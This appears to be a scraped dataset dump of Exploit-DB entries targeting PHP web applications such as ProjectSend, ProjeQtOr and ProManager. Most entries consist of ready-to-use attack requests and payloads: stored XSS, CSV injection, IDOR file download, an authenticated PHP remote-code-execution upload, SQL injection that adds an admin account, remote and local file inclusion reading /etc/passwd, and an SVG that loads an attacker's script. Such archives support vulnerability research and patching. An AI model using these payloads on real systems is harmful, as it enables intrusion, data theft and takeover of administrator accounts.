deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50240
Description: Projectsend r1295 - 'name' Stored XSS
Type: webapps
Platform: php
Date: 2021-08-30
Author: Abdullah Kala

Exploit:
# Exploit Title: Projectsend r1295 - 'name' Stored XSS 
# Date: 30.08.2021
# Exploit Author: Abdullah Kala
# Vendor Homepage: https://www.projectsend.org/
# Software Link: https://www.projectsend.org/download/387/
# Version: r1295
# Tested on: Ubuntu 18.04 
# Description: Firstly add client group. After uploading the file from the user with any role, payload is written in the "title" part of the redirected page, add group your created and save. For users with the "System Administrator" role, xss is triggered on the "Dashboard" page.

POST /projectsend/files-edit.php?ids=1 HTTP/1.1
Host: 10.10.10.55
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Length: 1323
Origin: http://10.10.10.55
Connection: close
Referer: http://10.10.10.55/projectsend/files-edit.php?ids=5
Cookie: menu_contracted=false; PHPSESSID=kvip7m24ib2d062hcaut3fbr2o
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="csrf_token"

f53a148f0f952cb00c7e7edc63be5a3efd911d5c27de15eb78c7323a6d7b3c02
----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="file[1][id]"

1
----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="file[1][original]"

test.png
----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="file[1][file]"
[PII_REDACTED]-f2d3f09150beb76c7f2c83dc27732a0b23718875-kudur.png
----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="file[1][name]"

<script>alert(1)</script>
----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="file[1][description]"

test
----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="file[1][expiry_date]"

28-09-2021
----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="file[1][assignments][groups][]"

1
----------------------------[PII_REDACTED][PII_REDACTED]634658708
Content-Disposition: form-data; name="save"


----------------------------[PII_REDACTED][PII_REDACTED]634658708--
Exploit-DB #51517
Description: projectSend r1605 - CSV injection
Type: webapps
Platform: php
Date: 2023-06-14
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: projectSend r1605 - CSV injection
Version: r1605
Bugs:  CSV Injection
Technology: PHP
Vendor URL: https://www.projectsend.org/
Software Link: https://www.projectsend.org/
Date of found: 11-06-2023
Author: Mirabbas Ağalarov
Tested on: Windows


2. Technical Details & POC
========================================
Step 1. login as user
step 2. Go to My Account ( http://localhost/users-edit.php?id=2 )
step 3. Set name as  =calc|a!z|
step 3. If admin Export action-log as CSV  file ,in The computer of admin  occurs csv injection and will open calculator ( http://localhost/actions-log.php )

payload: =calc|a!z|
Exploit-DB #51400
Description: projectSend r1605 - Private file download
Type: webapps
Platform: php
Date: 2023-05-02
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: projectSend r1605 - Private file download
Application: projectSend
Version: r1605
Bugs:  IDOR
Technology: PHP
Vendor URL: https://www.projectsend.org/
Software Link: https://www.projectsend.org/
Date of found: 24-01-2023
Author: Mirabbas Ağalarov
Tested on: Linux 



Technical Details & POC
========================================

1.Access to private files of any user, including admin


just change id



GET /process.php?do=download&id=[any user's private pictures id] HTTP/1.1
Host: localhost
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/manage-files.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: download_started=false; PHPSESSID=e46dtgmf95uu0usnceebfqbp0f
Connection: close
Exploit-DB #51518
Description: projectSend r1605 - Stored XSS
Type: webapps
Platform: php
Date: 2023-06-14
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: projectSend r1605 - Stored XSS
Application: projectSend
Version: r1605
Bugs:  Stored Xss
Technology: PHP
Vendor URL: https://www.projectsend.org/
Software Link: https://www.projectsend.org/
Date of found: 11-06-2023
Author: Mirabbas Ağalarov
Tested on: Linux 

2. Technical Details & POC
========================================

1. Login as admin
2. Go to Custom Html/Css/Js (http://localhost/custom-assets.php)
3. Go to new JS (http://localhost/custom-assets-add.php?language=js)
4. Set content as  alert("xss"); and set public 
5. And Save
6. Go to http://localhost (logout)

payload: alert("xss")

POST /custom-assets-add.php HTTP/1.1
Host: localhost
Content-Length: 171
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/custom-assets-add.php?language=js
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: log_download_started=false; PHPSESSID=7j8g8u9t7khb259ci4fvareg2l
Connection: close

csrf_token=222b49c5c4a1755c451637f17ef3e7ea8bb5b6ee616293bd73d15d0e608d9dab&language=js&title=test&content=alert%28%22XSS%22%29%3B&enabled=on&location=public&position=head
Exploit-DB #35582
Description: ProjectSend r561 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-12-19
Author: TaurusOmar

Exploit:
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                 INDEPENDENT SECURITY RESEARCHER 
                   PENETRATION TESTING SECURITY
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 

# Exploit Title: ProjectSend r561 - Cross Site Scripting & Full Path Disclosure Vulnerability's 
# Date: 19/12/2014
# Url Vendor: http://www.projectsend.org/
# Vendor Name: ProjectSend 
# Version: r561 Ultimate Version
# CVE:  CVE-2014-1155
# Author: TaurusOmar	
# Tiwtte: @TaurusOmar_
# Email:  taurusomar13@gmail.com
# Home:  overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: Medium

Description
ProjectSend is a client-oriented file uploading utility. Clients are created and assigned a username and a password. Files can then be uploaded under each account with the ability to add a title and description to each.When a client logs in from any browser anywhere, the client will see a page that contains your company logo, and a sortable list of every file uploaded under the client's name, with description, time, date, etc.. It also works as a history of "sent" files, provides a differences between revisions, the time that it took between each revision, and so on.

------------------------
+ CROSS SITE SCRIPTING + 
------------------------
# Exploiting Description - Get into code xss in the box of image description. 
<textarea placeholder="Optionally, enter here a description for the file." name="file[1][description]">DESCRIPTION&lt;/textarea&gt;

#P0c
"><img src=x onerror=;;alert('XSS') />

<textarea placeholder="Optionally, enter here a description for the file." name="file[1][description]">CODE XSS&lt;/textarea&gt;

#Proof Concept
http://i.imgur.com/FOPIvd4.jpg


------------------------
+ FULL PATH DISCLOSURE +
------------------------
# Exploiting Description - The url disclosure directory of platform. 

#P0c
http://site.com/projectsend/templates/pinboxes/template.php

#Proof Concept
http://i.imgur.com/xfN4kDV.jpg
Exploit-DB #36303
Description: ProjectSend r561 - SQL Injection
Type: webapps
Platform: php
Date: 2015-03-06
Author: ITAS Team

Exploit:
#Vulnerability title: ProjectSend r561 - SQL injection vulnerability
#Product: ProjectSend r561
#Vendor: http://www.projectsend.org/
#Affected version: ProjectSend r561
#Download link: http://www.projectsend.org/download/67/
#Fixed version: N/A
#Author: Le Ngoc Phi (phi.n.le@itas.vn) & ITAS Team (www.itas.vn)


::PROOF OF CONCEPT::

+ REQUEST:
GET /projectsend/users-edit.php?id=<SQL INJECTION HERE> HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 54f8105d859e0_SESSION=q6tjpjjbt53nk1o5tnbv2123456;
PHPSESSID=jec50hu4plibu5p2p6hnvpcut6
Connection: keep-alive


- Vulnerable file: client-edit.php
- Vulnerable parameter: id
- Vulnerable code: 
if (isset($_GET['id'])) {
  $client_id = mysql_real_escape_string($_GET['id']);
  /**
   * Check if the id corresponds to a real client.
   * Return 1 if true, 2 if false.
   **/
  $page_status = (client_exists_id($client_id)) ? 1 : 2;
}
else {
  /**
   * Return 0 if the id is not set.
   */
  $page_status = 0;
}

/**
 * Get the clients information from the database to use on the form.
 */
if ($page_status === 1) {
  $editing = $database->query("SELECT * FROM tbl_users WHERE
id=$client_id");
  while($data = mysql_fetch_array($editing)) {
    $add_client_data_name = $data['name'];
    $add_client_data_user = $data['user'];
    $add_client_data_email = $data['email'];
    $add_client_data_addr = $data['address'];
    $add_client_data_phone = $data['phone'];
    $add_client_data_intcont = $data['contact'];
    if ($data['notify'] == 1) { $add_client_data_notity = 1; }
else { $add_client_data_notity = 0; }
    if ($data['active'] == 1) { $add_client_data_active = 1; }
else { $add_client_data_active = 0; }
  }
}



::DISCLOSURE::
+ 01/06/2015: Detect vulnerability
+ 01/07/2015: Contact to vendor
+ 01/08/2015: Send the detail vulnerability to vendor - vendor did not reply
+ 03/05/2015: Public information

::REFERENCE::
-
http://www.itas.vn/news/itas-team-found-out-a-SQL-Injection-vulnerability-in
-projectsend-r561-76.html


::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION
OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,
AND AT THE USER'S OWN RISK.



Best Regards,
---------------------------------------------------------------------
ITAS Team (www.itas.vn)
Exploit-DB #15773
Description: Projekt Shop - 'details.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-12-18
Author: DeadLy DeMon

Exploit:
+Name : Projekt Shop (details.php) <<= SQL injection Vulnerability
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : Projekt Shop
+Download : ----
+Site : http://www.mhproducts.de/php-scripte-5/projekt-shop.html
+Price : 49,90 Euro
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrior TIM =>> www.cyber-warrior.org
+Greetz to All System-Hacker, BlackApple , F0RTYS3V3N and All KinqSqlZCrew
Members
---------------------------------------------------------------------------------------

Bize kafa tutarmış büyük hacker,
Kimlik yaşı 18 akıl yaşı 1 sen giderken biz dönüyoduk
Sen emzikle emeklerken biz exploit yazıyoduk :))

KinqSqlZCrew Akar....       Aklınıza Gideriz Aklınız Gider [ Aklı olmayanlar
alınmasın sonra karışıyor :D ]

----------------------------------------------------------------------------------------

Bug ;
target/path/details.php?ts=' [Sql Inj.]
target/path/?sayfa=arama&iller=&ilceler=[SQL INJ]

---------------------------------------------------------------------------------------
Exploit-DB #51387
Description: ProjeQtOr Project Management System 10.3.2 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-04-20
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: ProjeQtOr Project Management System 10.3.2   -Remote Code Execution (RCE)
Application: ProjeQtOr Project Management System
Version: 10.3.2
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload
Technology: PHP
Vendor URL: https://www.projeqtor.org
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download
Date of found: 19.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
Possible including php file with phar extension while uploading image. Rce is triggered when we visit again

Payload:<?php echo system("id"); ?>

poc request:


POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1
Host: localhost
Content-Length: 1177
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/projeqtor/view/main.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic
Connection: close

------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"
Content-Type: application/octet-stream

<?php echo system("id"); ?>

------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentId"


------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentRefType"

User
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentRefId"

1
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentType"

file
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10485760
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentLink"


------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentDescription"


------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentPrivacy"

1
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="uploadType"

html5
------WebKitFormBoundaryY0bpJaQzcvQberWR--




visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar
Exploit-DB #51588
Description: ProjeQtOr Project Management System v10.4.1 - Multiple XSS
Type: webapps
Platform: php
Date: 2023-07-15
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: ProjeQtOr Project Management System V10.4.1 - Multiple XSS
Version: V10.4.1
Bugs:  Multiple XSS
Technology: PHP
Vendor URL: https://www.projeqtor.org
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.4.1.zip/download
Date of found: 09.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC

                                     ### XSS-1 ### 


visit: http://localhost/projeqtor/view/refreshCronIconStatus.php?cronStatus=miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E&csrfToken=
payload: miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E

                                    ### XSS-2 ###

steps: 

1. login to account
2. go projects and create project
3.add attachment
3. upload svg file

"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
"""
4. Go to  svg file ( http://localhost/projeqtor/files/attach/attachment_5/malas.svg )


                                       ### XSS-3 ###

Go to below adress (post request)

POST /projeqtor/tool/ack.php?destinationWidth=50&destinationHeight=0&isIE=&xhrPostDestination=resultDivMain&xhrPostIsResultMessage=true&xhrPostValidationType=attachment&xhrPostTimestamp=[PII_REDACTED]11&csrfToken= HTTP/1.1
Host: localhost
Content-Length: 35
sec-ch-ua: 
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
sec-ch-ua-platform: ""
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/projeqtor/view/main.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=r5cjcsggl4j0oa9s70vchaklf3
Connection: close

resultAck=<script>alert(4)</script>
Exploit-DB #50641
Description: Projeqtor v9.3.1 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-05
Author: Oscar Gil Gutierrez

Exploit:
# Exploit Title: Projeqtor v9.3.1 - Stored Cross Site Scripting (XSS)
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: January 4, 2021
# Vendor Homepage: https://www.projeqtor.org/en/
# Software Link: https://www.projeqtor.org/en/product-en/downloads
# Tested on: Ubuntu, LAAMP
# Vendor: Projeqtor
# Version: v9.3.1

# Exploit Description:
Projeqtor version 9.3.1 suffers from a stored XSS vulnerability via SVG file upload. A low level user can upload svg images that contain malicious Javascript. In this way an attacker can escalate privileges and upload a malicious plugin which results in arbitrary code execution in the server hosting the application.

# Steps to reproduce:
Upload the following XML code as an SVG file and change the xlink for a location that you control. Once the administrator user opens the attachment, the Javascript code hosted by the attacker will execute.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script xlink:href="<script src=CHANGE THIS FOR THE LOCATION OF YOUR SCRIPT></script>"></script>
</svg>
Exploit-DB #11587
Description: ProMan 0.1.1 - Multiple File Inclusions
Type: webapps
Platform: php
Date: 2010-02-27
Author: cr4wl3r

Exploit:
##############################################################
##ProMan  <= 0.1.1 Multiple File Include Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/pman/files/
##############################################################
[RFI Code]

<?php
                    if (!($_GET['page']))
                    	include('info.php');
                    else    
                        include $_GET['page'].'.php'; 
                ?>

[LFI Code]

include_once('lang/'.$_SESSION['userLang'].'/elisttasks.php');
if (!defined('PROMAN'))
 	pexit ($l['no hack']); 
##############################################################
PoC RFI:
 [phpRAINCHECK_path]/_center.php?page=[Shell]
##############################################################
PoC LFI:
 [phpRAINCHECK_path]/elisttasks.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/managepmanagers.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageusers.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/helpfunc.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/managegroups.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageprocess.php?_SESSION[userLang]=[LFI%00]
 [phpRAINCHECK_path]/manageusersgroups.php?_SESSION[userLang]=[LFI%00]

others...
##############################################################
Exploit-DB #5762
Description: ProManager 0.73 - 'config.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-09
Author: Stack

Exploit:
--------------------------------------
Pro Manager 0.73 Local File Inclusion Vuln
--------------------------------------
http://www.sfr-fresh.com/unix/privat/proManager-0.73.tar.gz
--------------------------------------
By : Stack

email : Wanted
--------------------------------------
Exploit :
http://localhost/path/inc/config.php?language=../../../../[without php extention]
http://localhost/path/inc/config.php?language=../../../../etc/passwd%00
--------------------------------------
thnx allah
Greats to all arabians haxors :d
D-S.Morocco Is The Best :d
Waiting 

# milw0rm.com [2008-06-09]
Exploit-DB #2259
Description: ProManager 0.73 - 'note.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-08-26
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- proManager <= 0.73 (Add Admin) SQL Injection Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: proManager v.0.73
- [Script site: http://sourceforge.net/projects/promanager/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[proManager_path]/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.Kacper.devilteam.Kacper.kacper1964@yahoo.pl.1)/*

Admin name: Kacper
[CREDENTIAL_REDACTED]

# milw0rm.com [2006-08-26]